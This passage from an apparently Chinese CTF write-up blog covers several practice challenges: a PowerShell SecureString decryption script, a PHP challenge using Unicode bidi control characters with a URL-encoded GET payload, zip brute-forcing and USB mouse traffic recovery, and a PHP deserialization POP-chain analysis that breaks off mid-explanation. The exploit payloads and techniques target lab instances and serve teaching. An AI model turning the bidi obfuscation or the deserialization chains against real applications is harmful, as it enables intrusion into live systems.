</div></div><div><div><div>5</div></div><div><span>enc = "76492d1116743f0423413b16050a5345MgB8AFQAegB3AFAAaAArAFcAVABwAEYAWABLAGoAUwBaAEsAQQBvAHAAagBrAFEAPQA9AHwAOABmADIAOQBmADkANgA4ADkAMABlADIAZgBmADgAMwA0AGEAYwAxADIAMgA5ADYAZgAyADMAMQBiAGEANAA2ADUAOQAxADEANgAyADUANwA2AGEAMgBkAGYANQBjAGQAYwA5ADQAMgAyAGMANgBiADIAYwA5ADEANgA3ADkAZgA1AGUAMgA5ADYANQAyADEAOAA1ADMAYwAyADcAZABhADAAZgA2AGQAOQA0AGEAOAA2ADEAMQA4ADIAZgBhADgAMwBjAGYAMwBmAGEAMQAwADYANQBmADIANwA0AGYANgAxADIAZAA5ADYANgBjAGQANQBkADAAOQA4AGEAMgAwADYAYQA5ADgAMgBkADkANABlAGEANABmADEAMAA0ADEAMQA4ADcAOABlADcAYQBmADQAMQBiADQAMgBmADEANwA="</span></div></div><div><div><div>6</div></div><div><span>passphrase = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"</span></div></div><div><div><div>7</div></div><div><span>key = passphrase[:24].encode("ascii")</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 去掉 PowerShell 固定前缀</span></div></div><div><div><div>10</div></div><div><span>prefix = "76492d1116743f0423413b16050a5345"</span></div></div><div><div><div>11</div></div><div><span>enc = enc[len(prefix):]</span></div></div><div><div><div>12</div></div><div><span>decoded = base64.b64decode(enc).decode("utf-16le")</span></div></div><div><div><div>13</div></div><div><span>iv=base64.b64decode(decoded.split('|')[1])</span></div></div><div><div><div>14</div></div><div><span>cipher=bytes.fromhex(decoded.split('|')[2])</span></div></div><div><div><div>15</div></div><div><span>aes = AES.new(key, AES.MODE_CBC, iv)</span></div></div><div><div><div>16</div></div><div><span>flag = unpad(aes.decrypt(cipher), AES.block_size).decode("utf-16le")</span></div></div><div><div><div>17</div></div><div><span>print(flag)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/nisactf-2022-checkin-unicode-shuang-xiang-kong-zhi-zi-fu-bid/</id>
      <title type="text">[NISACTF 2022]checkin Unicode 双向控制字符（Bidi）混淆</title>
      <published>2026-09-22T00:00:00.000Z</published>
      <updated>2026-09-22T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/nisactf-2022-checkin-unicode-shuang-xiang-kong-zhi-zi-fu-bid/"/>
      <summary type="text">这下看清楚了，VS Code能显示出这些不可见字符的占位符-- Unicode 控制字符
- \[U+202E] (RLO)：从这里开始，后面的字符强制从右向左显示......</summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/2035" target="_blank">https://www.nssctf.cn/problem/2035</a></p></section>
<section><h2>代码审计<a href="#代码审计"><span>#</span></a></h2><p></p><figure><img src="/images/uploads/20260922-100900-326c25.png" alt="2026-09-22_10-08-35.png" /><figcaption>2026-09-22_10-08-35.png</figcaption></figure>
可以看到显示非常的乱<p></p><p>把它复制粘贴到vscodex里面
</p><figure><img src="/images/uploads/20260922-101327-53610c.png" alt="2026-09-22_10-11-17.png" /><figcaption>2026-09-22_10-11-17.png</figcaption></figure><p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>error_reporting</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>3</div></div><div><span>include</span><span> </span><span>"flag.php"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>// ‮⁦NISACTF⁩⁦Welcome to</span></div></div><div><div><div>5</div></div><div><span>if</span><span> (</span><span>"jitanglailo"</span><span><span> </span><span>==</span><span> </span></span><span>$_GET</span><span>[</span><span>ahahahaha</span><span><span>] </span><span>&amp;</span></span><span>‮⁦</span><span>+!!</span><span>⁩⁦</span><span><span>&amp;</span><span> </span></span><span>"‮⁦ Flag!⁩⁦N1SACTF"</span><span><span> </span><span>==</span><span> </span></span><span>$_GET</span><span>[</span><span>‮⁦Ugeiwo⁩⁦cuishiyuan</span><span>]) { </span><span>//tnnd! weishenme b</span></div></div><div><div><div>6</div></div><div><span>    </span><span>echo</span><span> </span><span>$FLAG</span><span>;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span>show_source</span><span>(</span><span>__FILE__</span><span>);</span></div></div><div><div><div>9</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这下看清楚了，VS Code能显示出这些不可见字符的占位符— Unicode 控制字符</p><ul>
<li>[U+202E] (RLO)：从这里开始，后面的字符强制从右向左显示。</li>
<li>[U+2066] (LRI)：开始一个从左向右的隔离区。</li>
<li>[U+2069] (PDI)：结束隔离区。</li>
</ul><p>我们在脑海中把不可见字符替换为 [RLO]、[LRI]、[PDI]：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>if</span><span> (</span><span>"jitanglailo"</span><span><span> </span><span>==</span><span> </span></span><span>$_GET</span><span>[</span><span>'ahahahaha'</span><span><span>] </span><span>&amp;</span><span> [</span></span><span>RLO</span><span>][</span><span>LRI</span><span><span>]</span><span>+!!</span><span>[</span></span><span>PDI</span><span>][</span><span>LRI</span><span><span>]</span><span>&amp;</span><span> </span></span><span>" [RLO][LRI]Flag![PDI][LRI]N1SACTF"</span><span><span> </span><span>==</span><span> </span></span><span>$_GET</span><span>[</span><span>'[RLO][LRI]Ugeiwo[PDI][LRI]cuishiyuan'</span><span>])</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这下就很清晰了，第三个条件为</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>"[RLO][LRI]Flag![PDI][LRI]N1SACTF"</span><span><span> </span><span>==</span><span> </span></span><span>$_GET</span><span>[</span><span>'[RLO][LRI]Ugeiwo[PDI][LRI]cuishiyuan'</span><span>]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>至于PHP 是如何解析中间这坨 &amp; [RLO][LRI]+!![PDI][LRI]&amp; 的？</p><ol>
<li>
<p>因为 error_reporting(0)，PHP 会把 [RLO][LRI] 和 [PDI][LRI] 当作未定义的常量，并降级为字符串。</p>
</li>
<li>
<p>+!![PDI][LRI]：!! 是双重取反，任何非空字符串取反两次都是 true（即 1）。[RLO][LRI] 字符串转数字是 0。所以 0 + 1 = 1。</p>
</li>
<li>
<p>整个表达式变成了 &amp; 1 &amp;。</p>
</li>
<li>
<p>在 PHP 中，&amp;（按位与）的优先级低于 ==。所以实际上变成了：(A == 1) &amp; 1 &amp; (B == 1)。这等价于 A &amp;&amp; B。</p>
</li>
</ol></section>
<section><h2>构造 Payload<a href="#构造-payload"><span>#</span></a></h2><p>既然逻辑还原了，我们要满足两个条件：</p><ol>
<li>ahahahaha = jitanglailo</li>
<li></li>
</ol><ul>
<li>参数名必须包含特殊字符：[RLO][LRI]Ugeiwo[PDI][LRI]cuishiyua</li>
<li>参数值必须包含特殊字符：“[RLO][LRI]Flag![PDI][LRI]N1SACTF”</li>
<li></li>
</ul><p>所以在发送请求时，你需要将这些特殊字符进行 URL 编码（U+202E -&gt; %E2%80%AE，U+2066 -&gt; %E2%81%A6，U+2069 -&gt; %E2%81%A9）。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>?ahahahaha=jitanglailo&amp;%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag%21%E2%81%A9%E2%81%A6N1SACTF</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="/images/uploads/20260922-103845-6e5b14.png" alt="2026-09-22_10-38-30.png" /><figcaption>2026-09-22_10-38-30.png</figcaption></figure><p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/gfctf-2021-shuang-ji-kai-shi-mao-xian/</id>
      <title type="text">[GFCTF 2021]双击开始冒险 鼠标流量</title>
      <published>2026-09-21T00:00:00.000Z</published>
      <updated>2026-09-21T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/gfctf-2021-shuang-ji-kai-shi-mao-xian/"/>
      <summary type="text">搜索这个QQ号，发现base64的密码，密码You love me, I love you......</summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/874" target="_blank">https://www.nssctf.cn/problem/874</a></p></section>
<section><h2>第一层 压缩包爆破<a href="#第一层-压缩包爆破"><span>#</span></a></h2><p>生日4位数字，直接爆破
</p><figure><img src="/images/uploads/20260921-210949-060926.png" alt="2026-09-21 210909.png" /><figcaption>2026-09-21 210909.png</figcaption></figure>
密码为1211<p></p></section>
<section><h2>第二层 社工<a href="#第二层-社工"><span>#</span></a></h2><p></p><figure><img src="/images/uploads/20260921-211259-23e73a.png" alt="2026-09-21_21-12-33.png" /><figcaption>2026-09-21_21-12-33.png</figcaption></figure><p></p><p>搜索这个QQ号，发现base64的密码，密码You love me, I love you
</p><figure><img src="/images/uploads/20260921-211413-4d61d0.png" alt="2026-09-21_21-13-34.png" /><figcaption>2026-09-21_21-13-34.png</figcaption></figure>
<figure><img src="/images/uploads/20260921-211551-f1cd86.png" alt="2026-09-21_21-15-35.png" /><figcaption>2026-09-21_21-15-35.png</figcaption></figure>
我没有翻到，可能是现在没有了。<p></p></section>
<section><h2>第三层 鼠标流量<a href="#第三层-鼠标流量"><span>#</span></a></h2><ul>
<li>用Wireshark/tshark 导出的 USB 鼠标数据（data.txt）
windows用</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span><span>tshark </span><span>-</span><span>r </span></span><span>"C:\Users\tuulei\Desktop\双击开始冒险\据说是某人生日\找寻密码\这应该是一个鼠标.pcapng"</span><span><span> </span><span>-</span><span>T fields </span><span>-</span><span>e usbhid.data | </span></span><span>Where-Object</span><span><span> { $_ </span><span>-match</span><span> </span></span><span>'\S'</span><span> } | </span><span>Set-Content</span><span><span> </span><span>-</span><span>Path </span></span><span>data</span><span><span>.txt </span><span>-</span><span>Encoding ASCII</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>linux用</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>tshark</span><span> </span><span>-r</span><span> </span><span>123.pcapng</span><span> </span><span>-T</span><span> </span><span>fields</span><span> </span><span>-e</span><span> </span><span>usbhid.data</span><span> | </span><span>sed</span><span> </span><span>'/^\s*$/d'</span><span> &gt; </span><span>data.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>再用python脚本还原就行了</li>
</ul><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>2</div></div><div><span>print</span><span>(</span><span>"当前使用的Python路径："</span><span>, sys.executable)</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>import</span><span> matplotlib.pyplot </span><span>as</span><span> plt</span></div></div><div><div><div>5</div></div><div><span>from</span><span> tqdm </span><span>import</span><span> tqdm</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># ================== 参数 ==================</span></div></div><div><div><div>8</div></div><div><span><span>INPUT_FILE</span><span> </span><span>=</span><span> </span></span><span>"data.txt"</span></div></div><div><div><div>9</div></div><div><span><span>OUTPUT_IMG</span><span> </span><span>=</span><span> </span></span><span>"out.png"</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span># ================== 数据处理 ==================</span></div></div><div><div><div>12</div></div><div><span><span>x_values </span><span>=</span><span> []</span></span></div></div><div><div><div>13</div></div><div><span><span>y_values </span><span>=</span><span> []</span></span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span><span>posx </span><span>=</span><span> </span></span><span>0</span></div></div><div><div><div>16</div></div><div><span><span>posy </span><span>=</span><span> </span></span><span>0</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>with</span><span> </span><span>open</span><span><span>(</span><span>INPUT_FILE</span><span>, </span></span><span>"r"</span><span>) </span><span>as</span><span> f:</span></div></div><div><div><div>19</div></div><div><span>    </span><span>for</span><span> line </span><span>in</span><span><span> </span><span>tqdm</span><span>(f.</span><span>readlines</span><span>()):</span></span></div></div><div><div><div>20</div></div><div><span>        </span><span># USB 鼠标数据行长度校验</span></div></div><div><div><div>21</div></div><div><span>        </span><span>if</span><span> </span><span>len</span><span><span>(line.</span><span>strip</span><span>()) </span><span>!=</span><span> </span></span><span>16</span><span> </span><span>and</span><span> </span><span>len</span><span><span>(line.</span><span>strip</span><span>()) </span><span>!=</span><span> </span></span><span>17</span><span>:</span></div></div><div><div><div>22</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>        </span><span># 解析 x / y 偏移（16进制）</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>x </span><span>=</span><span> </span><span>int</span><span>(line[</span><span>4</span><span>:</span><span>6</span><span>], </span><span>16</span><span>)</span></div></div><div><div><div>26</div></div><div><span><span>        </span></span><span>y </span><span>=</span><span> </span><span>int</span><span>(line[</span><span>8</span><span>:</span><span>10</span><span>], </span><span>16</span><span>)</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>        </span><span># 有符号处理</span></div></div><div><div><div>29</div></div><div><span>        </span><span>if</span><span><span> x </span><span>&gt;</span><span> </span></span><span>127</span><span>:</span></div></div><div><div><div>30</div></div><div><span><span>            </span></span><span>x </span><span>-=</span><span> </span><span>256</span></div></div><div><div><div>31</div></div><div><span>        </span><span>if</span><span><span> y </span><span>&gt;</span><span> </span></span><span>127</span><span>:</span></div></div><div><div><div>32</div></div><div><span><span>            </span></span><span>y </span><span>-=</span><span> </span><span>256</span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span><span>        </span></span><span>posx </span><span>+=</span><span> x</span></div></div><div><div><div>35</div></div><div><span><span>        </span></span><span>posy </span><span>+=</span><span> y</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>        </span><span># 判断是否为点击事件</span></div></div><div><div><div>38</div></div><div><span><span>        </span></span><span>click </span><span>=</span><span> </span><span>int</span><span>(line[</span><span>0</span><span>:</span><span>2</span><span>], </span><span>16</span><span>)</span></div></div><div><div><div>39</div></div><div><span>        </span><span>if</span><span><span> click </span><span>==</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>40</div></div><div><span><span>            </span></span><span>x_values.</span><span>append</span><span>(posx)</span></div></div><div><div><div>41</div></div><div><span><span>            </span></span><span>y_values.</span><span>append</span><span>(</span><span>-</span><span>posy)  </span><span># 翻转 y 轴，符合屏幕坐标</span></div></div><div><div><div>42</div></div><div>
</div></div><div><div><div>43</div></div><div><span># ================== 画图 ==================</span></div></div><div><div><div>44</div></div><div><span><span>plt.</span><span>figure</span><span>(</span></span><span>figsize</span><span><span>=</span><span>(</span></span><span>8</span><span>, </span><span>6</span><span>))</span></div></div><div><div><div>45</div></div><div><span><span>plt.</span><span>scatter</span><span>(x_values, y_values, </span></span><span>s</span><span>=</span><span>5</span><span>)</span></div></div><div><div><div>46</div></div><div><span><span>plt.</span><span>xlabel</span><span>(</span></span><span>"X"</span><span>)</span></div></div><div><div><div>47</div></div><div><span><span>plt.</span><span>ylabel</span><span>(</span></span><span>"Y"</span><span>)</span></div></div><div><div><div>48</div></div><div><span><span>plt.</span><span>title</span><span>(</span></span><span>"USB Mouse Movement Trace"</span><span>)</span></div></div><div><div><div>49</div></div><div><span><span>plt.</span><span>grid</span><span>(</span></span><span>True</span><span>)</span></div></div><div><div><div>50</div></div><div>
</div></div><div><div><div>51</div></div><div><span><span>plt.</span><span>savefig</span><span>(</span><span>OUTPUT_IMG</span><span>, </span></span><span>dpi</span><span>=</span><span>300</span><span>)</span></div></div><div><div><div>52</div></div><div><span><span>plt.</span><span>show</span><span>()</span></span></div></div><div><div><div>53</div></div><div>
</div></div><div><div><div>54</div></div><div><span>print</span><span>(</span><span>f</span><span>"[+] 绘图完成，已保存为 </span><span>{</span><span>OUTPUT_IMG</span><span>}</span><span>"</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="/images/uploads/20260921-212212-ef01b9.png" alt="2026-09-21_21-21-50.png" /><figcaption>2026-09-21_21-21-50.png</figcaption></figure>
密码为7724774CTF<p></p><p></p><figure><img src="/images/uploads/20260921-212323-52bcf7.png" alt="2026-09-21_21-23-03.png" /><figcaption>2026-09-21_21-23-03.png</figcaption></figure>
打开最后一个文件，在最后一行可以发现flag<p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/swpuctf-2025-qiu-ji-xin-sheng-sai-first-meeting/</id>
      <title type="text">[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链</title>
      <published>2026-09-20T00:00:00.000Z</published>
      <updated>2026-09-20T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/swpuctf-2025-qiu-ji-xin-sheng-sai-first-meeting/"/>
      <summary type="text">分析这段完整源码，需要构造一条非常经典的 POP 链（属性导向编程利用链）。</summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/7284" target="_blank">https://www.nssctf.cn/problem/7284</a></p></section>
<section><h2>1.分析<a href="#1分析"><span>#</span></a></h2><section><h3>1.1代码审计<a href="#11代码审计"><span>#</span></a></h3><p>分析这段完整源码，需要构造一条非常经典的 POP 链（属性导向编程利用链）。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>&lt;</span><span>?</span><span>php</span></div></div><div><div><div>2</div></div><div><span>highlight_file</span><span>(</span><span>__FILE__</span><span>);</span></div></div><div><div><div>3</div></div><div><span>class</span><span> </span><span>WEB</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>private</span><span> </span><span>$sauy</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>public</span><span> </span><span>$creambread</span><span>;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__construct</span><span>(</span><span>$sauy</span><span>) {</span></div></div><div><div><div>8</div></div><div><span>        </span><span>$this</span><span>-&gt;</span><span>sauy</span><span><span> </span><span>=</span><span> </span></span><span>$sauy</span><span>;</span></div></div><div><div><div>9</div></div><div><span>        </span><span>echo</span><span> </span><span>"I know you are good at this!"</span><span>;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>11</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__destruct</span><span>() {</span></div></div><div><div><div>12</div></div><div><span>        </span><span>echo</span><span> </span><span>$this</span><span> -&gt; </span><span>sauy</span><span>;</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>class</span><span> </span><span>REVERSE</span><span> {</span></div></div><div><div><div>17</div></div><div><span>    </span><span>protected</span><span> </span><span>$re1sen</span><span>;</span></div></div><div><div><div>18</div></div><div><span>    </span><span>public</span><span> </span><span>$harukaze</span><span>;</span></div></div><div><div><div>19</div></div><div><span>    </span><span>public</span><span> </span><span>$ysyy</span><span>;</span></div></div><div><div><div>20</div></div><div><span>    </span><span>public</span><span> </span><span>$acc</span><span>;</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__call</span><span>(</span><span>$a</span><span>, </span><span>$b</span><span>){</span></div></div><div><div><div>23</div></div><div><span>    </span><span>if</span><span><span> (</span><span>!</span></span><span>is_string</span><span>(</span><span>$this</span><span><span> </span><span>-&gt;</span><span> </span></span><span>harukaze</span><span><span>) </span><span>||!</span></span><span>is_string</span><span>(</span><span>$this</span><span><span> </span><span>-&gt;</span><span> </span></span><span>ysyy</span><span><span>)</span><span>||</span><span>(</span></span><span>$this</span><span> -&gt; </span><span>harukaze</span><span><span> </span><span>===</span><span> </span></span><span>$this</span><span> -&gt; </span><span>ysyy</span><span>)) {</span></div></div><div><div><div>24</div></div><div><span>        </span><span>die</span><span>(</span><span>"你输的什么东西?"</span><span>);</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>26</div></div><div><span>    </span><span>if</span><span> (</span><span>md5</span><span>(</span><span>$this</span><span><span> </span><span>-&gt;</span><span> </span></span><span>harukaze</span><span><span>) </span><span>==</span><span> </span></span><span>md5</span><span>(</span><span>$this</span><span><span> </span><span>-&gt;</span><span> </span></span><span>ysyy</span><span>)) {</span></div></div><div><div><div>27</div></div><div><span><span>        </span></span><span>(</span><span>$this</span><span>-&gt;</span><span>acc</span><span>)();</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>29</div></div><div><span>        </span><span>die</span><span>(</span><span>"?"</span><span>);</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>31</div></div><div><span>}</span></div></div><div><div><div>32</div></div><div><span>}</span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span>class</span><span> </span><span>PWN</span><span> {</span></div></div><div><div><div>35</div></div><div><span>    </span><span>public</span><span> </span><span>$wings</span><span>;</span></div></div><div><div><div>36</div></div><div><span>    </span><span>public</span><span> </span><span>$c0trick</span><span>;</span></div></div><div><div><div>37</div></div><div>
</div></div><div><div><div>38</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__toString</span><span>() {</span></div></div><div><div><div>39</div></div><div><span>        </span><span>if</span><span>(</span><span>$this</span><span>-&gt;</span><span>wings</span><span><span> </span><span>===</span><span> </span></span><span>'SHENG-YI'</span><span>){</span></div></div><div><div><div>40</div></div><div><span>            </span><span>$this</span><span> -&gt; </span><span>c0trick</span><span> -&gt; </span><span>MinatoNamikaze</span><span>();</span></div></div><div><div><div>41</div></div><div><span>            </span><span>return</span><span> </span><span>"NSS WELCOME YOU!!!"</span><span>;</span></div></div><div><div><div>42</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>43</div></div><div><span>        </span><span>else</span><span> {</span></div></div><div><div><div>44</div></div><div><span>            </span><span>die</span><span>(</span><span>"No wings,no fly!"</span><span>);</span></div></div><div><div><div>45</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>46</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>47</div></div><div><span>}</span></div></div><div><div><div>48</div></div><div><span>class</span><span> </span><span>MISC</span><span> {</span></div></div><div><div><div>49</div></div><div><span>    </span><span>public</span><span> </span><span>$cr4p</span><span>;</span></div></div><div><div><div>50</div></div><div>
</div></div><div><div><div>51</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__invoke</span><span>(){</span></div></div><div><div><div>52</div></div><div><span>        </span><span>$this</span><span> -&gt; </span><span>cr4p</span><span> -&gt; </span><span>png</span><span><span> </span><span>=</span><span> </span></span><span>'010'</span><span>;</span></div></div><div><div><div>53</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>54</div></div><div><span>}</span></div></div><div><div><div>55</div></div><div>
</div></div><div><div><div>56</div></div><div><span>class</span><span> </span><span>CRYPTO</span><span> {</span></div></div><div><div><div>57</div></div><div><span>    </span><span>public</span><span> </span><span>$kyarihoshi</span><span>;</span></div></div><div><div><div>58</div></div><div><span>    </span><span>public</span><span> </span><span>$rocage</span><span>;</span></div></div><div><div><div>59</div></div><div><span>    </span><span>public</span><span> </span><span>$last</span><span>;</span></div></div><div><div><div>60</div></div><div><span>    </span><span>public</span><span> </span><span>$dance</span><span>;</span></div></div><div><div><div>61</div></div><div><span>    </span><span>public</span><span> </span><span>$kiss</span><span>;</span></div></div><div><div><div>62</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__construct</span><span>(){</span></div></div><div><div><div>63</div></div><div><span>        </span><span>$kyarihoshi</span><span><span> </span><span>=</span><span> </span></span><span>$this</span><span> -&gt; </span><span>kyarihoshi</span><span>;</span></div></div><div><div><div>64</div></div><div><span>        </span><span>$rocage</span><span><span> </span><span>=</span><span> </span></span><span>$this</span><span> -&gt; </span><span>rocage</span><span>;</span></div></div><div><div><div>65</div></div><div><span>        </span><span>$kiss</span><span><span> </span><span>=</span><span> </span></span><span>$this</span><span> -&gt; </span><span>kiss</span><span>;</span></div></div><div><div><div>66</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>67</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__set</span><span>(</span><span>$a</span><span>, </span><span>$b</span><span>){</span></div></div><div><div><div>68</div></div><div><span>        </span><span>$this</span><span> -&gt; </span><span>dance</span><span><span> </span><span>=</span><span> </span></span><span>md5</span><span>(</span><span>rand</span><span>(</span><span>1</span><span><span>,</span><span> </span></span><span>10000</span><span>));</span></div></div><div><div><div>69</div></div><div><span>        </span><span>if</span><span> (</span><span>$this</span><span>-&gt;</span><span>last</span><span><span> </span><span>===</span><span> </span></span><span>$this</span><span> -&gt; </span><span>dance</span><span>){</span></div></div><div><div><div>70</div></div><div><span>            </span><span>$kiss</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>$this</span><span> -&gt; </span><span>kyarihoshi</span><span>(</span><span>$this</span><span> -&gt; </span><span>rocage</span><span>);</span></div></div><div><div><div>71</div></div><div><span>            </span><span>echo</span><span> </span><span>"</span><span>$kiss</span><span>&lt;br&gt;"</span><span>;</span></div></div><div><div><div>72</div></div><div><span>            </span><span>echo</span><span> </span><span>"恭喜！&lt;br&gt;"</span><span>;</span></div></div><div><div><div>73</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>74</div></div><div><span>    </span><span>else</span><span>{</span></div></div><div><div><div>75</div></div><div><span>        </span><span>die</span><span>(</span><span>"LAST DANCE!May be you can find the trick!"</span><span>);</span></div></div><div><div><div>76</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>77</div></div><div><span>}</span></div></div><div><div><div>78</div></div><div><span>}</span></div></div><div><div><div>79</div></div><div><span>$NSS</span><span><span> </span><span>=</span><span> </span></span><span>$_POST</span><span>[</span><span>"NSS"</span><span>];</span></div></div><div><div><div>80</div></div><div><span>unserialize</span><span>(</span><span>$NSS</span><span>);</span></div></div><div><div><div>81</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这道题本身没有直接调用 system、exec 等命令执行函数，所以需要通过反序列化原生类（如 SplFileObject）来读取 /flag 文件。</p><ul>
<li>有可控的 unserialize() 入口</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$NSS</span><span><span> </span><span>=</span><span> </span></span><span>$_POST</span><span>[</span><span>"NSS"</span><span>];</span></div></div><div><div><div>2</div></div><div><span>unserialize</span><span>(</span><span>$NSS</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>类里有各种 PHP 魔术方法：</li>
</ul><p><strong><code>__construct()</code></strong> ：构造函数来赋值 private 属性</p><p><strong><code>__destruct()</code></strong>：对象被销毁时触发。</p><p><strong><code>__wakeup()</code></strong>：反序列化时触发（常用于反序列化后的初始化或绕过）。</p><p><strong><code>__toString()</code></strong>：对象被当成字符串使用时触发（比如被 <code>echo</code>、被 <code>include</code> 或者字符串拼接时）。</p><p><strong><code>__invoke()</code></strong>：PHP 中把对象当函数调用 <code>$obj()</code> 时，会自动执行该对象的 <code>__invoke()</code>。</p><p><strong><code>__call()</code></strong>：调用对象没有的方法触发。</p><p><strong><code>__set()</code></strong>：给不存在的属性赋值时触发。</p></section><section><h3>1.2POP 链完整调用流程<a href="#12pop-链完整调用流程"><span>#</span></a></h3><ol>
<li>
<p>触发起点：WEB::__destruct
反序列化后脚本结束，WEB 对象被销毁，执行 echo <span><span>this−&gt;sauy;。如果this -&gt; sauy;。如果 </span><span><span><span></span><span>t</span><span>hi</span><span>s</span><span>−</span><span></span><span>&gt;</span><span></span></span><span><span></span><span>s</span><span>a</span><span>u</span><span>y</span><span>;</span><span></span><span>。如果</span></span></span></span>sauy 是一个 PWN 对象（本题有__toString，下面同理)，就会触发 PWN::__toString()。</p>
</li>
<li>
<p>进入 PWN::__toString
需要满足 <span><span>this−&gt;wings===′SHENG−YI′。然后执行this-&gt;wings === 'SHENG-YI'。
